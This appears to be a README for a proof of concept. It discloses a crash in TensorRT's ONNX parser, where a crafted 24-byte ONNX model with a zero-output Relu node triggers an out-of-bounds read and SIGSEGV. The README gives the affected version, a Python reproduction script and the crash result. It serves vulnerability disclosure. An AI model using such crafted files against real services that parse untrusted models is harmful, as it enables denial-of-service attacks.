jdhart81/tensorrt-onnx-parser-sigsegv-poc

TensorRT ONNX Parser SIGSEGV PoC

Bug: OOB Read via Zero-Output Node

A crafted ONNX model containing a node with zero outputs causes a segmentation fault (SIGSEGV) in TensorRT's ONNX parser when the error logging path accesses node.output(0) on a node with no outputs.

Affected Version

• TensorRT 10.16.0.72 (latest, April 2026)
• Tested on: Google Colab, Tesla T4, CUDA 12.8

Reproduction

import tensorrt as trt

logger = trt.Logger(trt.Logger.ERROR)
builder = trt.Builder(logger)
network = builder.create_network(0)
parser = trt.OnnxParser(network, logger)

with open("trt001_zero_outputs.onnx", "rb") as f:
    parser.parse(f.read())  # SIGSEGV

Run in a subprocess to capture the signal:

Return code: -11 (SIGSEGV)

File

• trt001_zero_outputs.onnx (24 bytes) - Minimal ONNX model with Relu node having 0 outputs